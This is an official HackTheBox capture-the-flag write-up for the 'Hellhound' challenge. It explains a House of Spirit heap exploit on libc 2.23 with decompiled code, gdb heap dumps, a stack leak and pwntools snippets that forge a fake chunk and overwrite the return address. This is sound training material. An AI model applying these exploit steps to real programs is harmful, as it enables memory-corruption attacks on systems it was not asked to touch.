



HACKTHEBOX



Hellhound

15th April 2022 / Document No. D22.102.249

Prepared By: w3th4nds

Challenge Author(s): unicorn

Difficulty: **Medium**

Classification: Official

Synopsis

Hellhound is a Medium difficulty challenge that features the House of Spirit technique in libc.2-23

Skills Learned

- House of Spirit

Enumeration

First of all, we start with `checksec` :

```
Canary      : ✓
NX          : ✓
PIE        : ✗
Fortify     : ✗
RelRO      : Full
```

Protections

Protection	Enabled	Usage
Canary	✓	Prevents Buffer Overflows
NX	✓	Disables code execution on stack
PIE	✗	Randomizes the base address of the binary


```

    printf(&DAT_00401010);
    uVar1 = read_num();
    if (uVar1 != 2) break;
    printf("\n[*] Talk: ");
    read(0,local_50[0],0x20);
}
if (2 < uVar1) break;
if (uVar1 == 1) {
    printf("\n[+] You owe: [%ld] money. You pay with money or your
soul.\n",local_50);
}
else {
LAB_00400dc5:
    printf("%s\n\n[-] Invalid option!\n",&DAT_00400ffe);
}
}
if (uVar1 != 3) {
    if (uVar1 == 0x45) {
        free(local_50[0]);
        puts("[*] You can run but you can't hide...");
        if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
            return 0;
        }
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    goto LAB_00400dc5;
}
local_50[0] = *(void **) ((long)local_50[0] + 8);
printf("%s\n\n[-] Not enough money! Maybe your soul will do the
job..\n",&DAT_00400ffe);
} while( true );
}

```

There are some function calls:

- `setup()`: Sets the appropriate buffers for the challenge to run.
- `banner()`: Prints the banner.

First of all, we can see that it allocates 0x40 bytes onto the heap using: `local_50[0] = malloc(0x40);`

We can verify this via gdb too.

```

gef> heap chunks
Chunk(addr=0x603010, size=0x250, flags=PREV_INUSE)
[0x0000000000603010      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....]
Chunk(addr=0x603260, size=0x50, flags=PREV_INUSE)
[0x0000000000603260      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....]
Chunk(addr=0x6032b0, size=0x20d60, flags=PREV_INUSE) ← top chunk

```

```

0x400cf7 <main+45>      call    0x4007f0 <malloc@plt>
→ 0x400cfc <main+50>      mov     QWORD PTR [rbp-0x48], rax

```

```

0x400d00 <main+54>      jmp     0x400d8b <main+193>
0x400d05 <main+59>      lea     rsi, [rip+0x273]      # 0x400f7f
0x400d0c <main+66>      lea     rdi, [rip+0x655]      # 0x401368
0x400d13 <main+73>      mov     eax, 0x0
0x400d18 <main+78>      call   0x4007a0 <printf@plt>

----- threads -----
[#0] Id 1, Name: "hellhound", stopped 0x400cfc in main (), reason: SINGLE STEP

----- trace -----
[#0] 0x400cfc → main()

-----
0x000000000000400cfc in main ()
-----
HEAP Chunk @ 0x603260:
0x603250: 0x0000000000000000 0x0000000000000051 <- size of chunk
0x603260: 0x0000000000000000 0x0000000000000000 <- from here
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000 <- till here, space to write
data (0x40 bytes)
0x6032a0: 0x0000000000000000 0x0000000000020d61 <- Top chunk size
0x6032b0: 0x0000000000000000 0x0000000000000000

```

That is what a heap chunk looks like after `malloc(0x40)`.

- The size of the chunk is 0x51 because malloc allocates 0x40 bytes for the user input + 0x10 for the metadata = 0x50 bytes
- The size field reports an extra byte because the last 3 bits are used to identify the chunk's properties:
 - 3rd to last: `non_main_arena` -> Chunk obtained outside from the `main arena`
 - 2nd to last: `is_mmaped` -> Chunk resulted from `mmap()` instead of `malloc()`
 - last bit: `prev_in_use` -> Previous chunk is in use
- `0x20d61` is what is left from the heap to be allocated

Continuing with the `main()`, we have three options that represent a different animal and a different color (just for visuals).

After that, there are another 3 options that matter:

Choice 1:

```

if (uVar1 == 1) {
    printf("\n[+] You owe: [%ld] money. You pay with money or your
soul.\n", local_50);
}

```

It's straightforward that it prints a stack address. This way, we can calculate the return address.

```
gef> i f
Stack level 0, frame at 0x7fffffffdef0:
  rip = 0x400df7 in main; saved rip = 0x7ffff7a03bf7
  Arglist at 0x7fffffffdee0, args:
  Locals at 0x7fffffffdee0, Previous frame's sp is 0x7fffffffdef0
  Saved registers:
    rbp at 0x7fffffffdee0, rip at 0x7fffffffdee8
gef> p 0x7fffffffdee8-0x7fffffffde98
$2 = 0x50
```

So, we can see that the offset is at 0x50 bytes. We can calculate like this:

```
def leak_addr():
    sla(">", "1")
    ru("owe: [")
    stack_addr = int(ru("]")[:-1])
    info("Leaked addr @ " + hex(stack_addr))
    ret_addr = stack_addr + 0x50
    info("Return address @ " + hex(ret_addr))
    return ret_addr, stack_addr
```

Choice 2:

```
if (iVar1 != 2) break;
printf("\n[*] Talk: ");
read(0,local_50[0],0x20);
```

```
0x400e59 <main+399>    call    0x4007c0 <read@plt>
→ 0x400e5e <main+404>    jmp     0x400ed0 <main+518>
0x400e60 <main+406>    mov     rax, QWORD PTR [rbp-0x48]
0x400e64 <main+410>    add     rax, 0x8
0x400e68 <main+414>    mov     rax, QWORD PTR [rax]
0x400e6b <main+417>    mov     QWORD PTR [rbp-0x48], rax
0x400e6f <main+421>    lea     rsi, [rip+0x119]          # 0x400f8f
```

— threads —

[#0] Id 1, Name: "hellhound", stopped 0x400e5e in main (), reason: SINGLE STEP

— trace —

[#0] 0x400e5e → main()

0x0000000000400e5e in main ()

HEAP Chunk @ 0x603260:

```
0x603250: 0x0000000000000000 0x0000000000000051
0x603260: 0x4242424241414141 0x6969696969696969 <- We wrote here
0x603270: 0x000000000000000a 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x00000000000020d61
0x6032b0: 0x0000000000000000 0x0000000000000000
```

We can see that our buffer is located at: `$rbp-0x48`.

```
$rbp-0x48:
0x7fffffffde98: 0x0000000000603260  0x0000000000000001
0x7fffffffdea8: 0x0000000000400f2d  0x00007ffff7de3b40
```

Choice 3:

```
local_50[0] = *(void **) ((long)local_50[0] + 8);
printf("%s\n[-] Not enough money! Maybe your soul will do the
job..\n",&DAT_00400ffe);
```

The bug is that it writes whatever the buffer has at its address. The debugger will explain it better:

```
-----
-----
HEAP Chunk @ 0x603260:
0x603250: 0x0000000000000000  0x0000000000000051
0x603260: 0x4242424242414141  0x6969696969696969
0x603270: 0x000000000000000a  0x0000000000000000
0x603280: 0x0000000000000000  0x0000000000000000
0x603290: 0x0000000000000000  0x0000000000000000
0x6032a0: 0x0000000000000000  0x0000000000020d61
0x6032b0: 0x0000000000000000  0x0000000000000000
-----
-----
$rbp-0x50:
0x7fffffffde90: 0x00000001ffffdef8  0x6969696969696969
0x7fffffffdea0: 0x0000000000000001  0x0000000000400f2d
0x7fffffffdeb0: 0x00007ffff7de3b40  0x0000000000000000
0x7fffffffdec0: 0x0000000000400ee0  0x0000000000400840
0x7fffffffded0: 0x00007ffff7ffdfc0  0xa6744003cc3ad200
-----
-----
$rbp-0x48:
0x7fffffffde98: 0x6969696969696969  0x0000000000000001 <- Overwritten buffer
address
0x7fffffffdea8: 0x0000000000400f2d  0x00007ffff7de3b40
```

So, whatever it had on the second 8 bytes of the buffer, is written on `0x603260`. This way can overwrite on whatever address we want. We are going to proceed like this:

- Overwrite the buf address with the return address
- Overwrite the return address with `reborn()`

The only problem is that to reach the return, we have to pass `free()`.

```
if (iVar1 == 0x45) {
    free(local_50[0]);
    puts("[*] You can run but you can't hide...");
    if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
        return 0;
    }
}
```

We are in `libc.2-23.so`, which means there is a check to whatever `free()` is taking as input, meaning that if it is not a heap address, it will exit with an error. So, what we have to do, is create a fake chunk to trick `free()`. As we mentioned before, the fake chunk should have this structure:

```
HEAP Chunk @ 0x603260:
0x603250: 0x0000000000000000 0x0000000000000051 <- size of chunk
0x603260: 0x0000000000000000 0x0000000000000000 <- from here
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000 <- till here, space to write
data (0x40 bytes)
0x6032a0: 0x0000000000000000 0x0000000000020d61 <- Top chunk size
0x6032b0: 0x0000000000000000 0x0000000000000000
```

We are going to overwrite these addresses:

```
def overwrite(payload):
    sla(">", "2")
    sla(":", payload)
    sla(">", "3")

# Overwrite buf address with return address
info("Overwrite stack address with return address (0x{:x} ->
0x{:x})".format(stack_addr, ret))
overwrite(p64(0xdeadbeef) + p64(ret))

# Overwrite return address with reborn and set a fake chunk
info("Overwrite return address with sell_soul and create a fake chunk at:
0x{:x} (0x{:x} -> 0x{:x})".format(bss-0x8, ret, e.sym.sell_soul))
overwrite(p64(e.sym.sell_soul) + p64(bss-0x8))

# Overwrite fake chunk's size with a valid size
info("Overwrite fake chunk's size at 0x{:x} with 0x61 bytes..".format(bss-0x8))
overwrite(p64(0x61) + p64(bss+0x58))

# Overwrite Top chunk's size with a valid size
info("Overwrite Top chunk's size at 0x{:x} with 0x20d61
bytes".format(bss+0x58))
overwrite(p64(0x20d61) + p64(bss))
```

We choose a `.bss` area which is empty and writable. Then, we will set an appropriate size at `.bss - 0x8` (size field = 0x61, remember the `prev_in_use_bit`). After that, we will convert the Top-Chunk's size to something that looks like it (e.g. `0x20d61`).

Then, `.bss` will be the argument when `free()` is called.

Finally, with the `"69"` option, we exit the loop and reach the return.

Solution

```
[+] Opening connection to 0.0.0.0 on port 1337: Done
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
RUNPATH:   b'./libc/'
[*] .bss section @ 0x602050
[*] Leaked addr @ 0x7ffca0185da8
[*] Return address @ 0x7ffca0185df8
[*] Overwrite stack address with return address (0x7ffca0185da8 ->
0x7ffca0185df8)
[*] Overwrite return address with sell_soul and create a fake chunk at:
0x602048 (0x7ffca0185df8 -> 0x400977)
[*] Overwrite fake chunk's size at 0x602048 with 0x61 bytes..
[*] Overwrite Top chunk's size at 0x6020a8 with 0x20d61 bytes

[+] Flag: HTB{f4k3_fl4g_4_te5t1ng}

[*] Closed connection to 0.0.0.0 port 1337
```